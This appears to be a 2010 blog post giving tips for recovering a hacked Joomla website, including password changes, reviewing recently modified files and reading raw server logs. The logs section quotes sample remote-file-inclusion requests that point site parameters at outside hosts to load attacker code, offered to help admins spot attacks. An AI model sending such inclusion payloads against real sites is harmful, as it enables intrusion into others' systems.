| 10 March 2010
Posted in
Tips and Tricks
Lets start now.
- Change All Passwords: I think the changing all passwords related (Joomla Admin Panel, Ftp passwords, your hosting panel passwords like cpanel, database users,shell access)
- Delete All Files Under Root Directory and Related Database Records: I think the best way to make sure that all potential vulnerability in that site is removed from your Joomla! is deleting all files under public_html and deleting the related database records.A Script kiddy who is only trying to mark your index page will mostly attack your index file. But professional attackers are usually very interested in your database records like passwords etc. If you do not want to apply this step, We suggest you to visit this JED category
. Back up your web site - List Recently Modifed or Created Files: Before you make any change on your web site (like deleting the file under public_html or using your backup), I think it's better to create a list of recently modified or created files . If you have ssh , find . -type f -mtime -20 will give the list of files which are created / modified in last 20 days (You can find php script scripts which does the same with searching google). When you get the list, Check the list to identify new files that don't belong Joomla!
- Cron Jobs: Do not forget to check the scripts which are used for your cron jobs
- Control Your Raw Logs: I also suggest you to check your raw logs to detect how your web site is hacked. When you start to check your raw logs, You may see the lines like
- 192.168.0.1 - - [29/Oct/2008:06:07:30 -0500] "GET /index.php?live_site=test.org/1.txt?? HTTP/1.1" 200 10864 "-" "Firefox"
- 192.168.0.1 - - [29/Oct/2008:06:07:30 -0500] "GET /index.php?_SERVER[DOCUMENT_ROOT]=http://www.test.com/id1.txt? HTTP/1.1" 200 10864 "-" "Firefox"
- 192.168.0.1 - - [29/Oct/2008:06:07:30 -0500] "GET /components/com_XXX/file.php?live_site=test.org/1.txt?? HTTP/1.1" 200 10864 "-" "Firefox"
- 192.168.0.1 is the IP of attacker
- 29/Oct/2008:06:07:30 is the attacking date
- /components/com_XXX/file.php is file which is attacked. It's a file for XXX component . Make sure that you are using the latest version of XXX component
- Inform Your Hosting Company : When you have discovered (or If you have discovered) the attacking reason, Write an e-mail or ticket to your hosting company
- Continue to Watch Your Web Site: The attackers may return back to your web site again





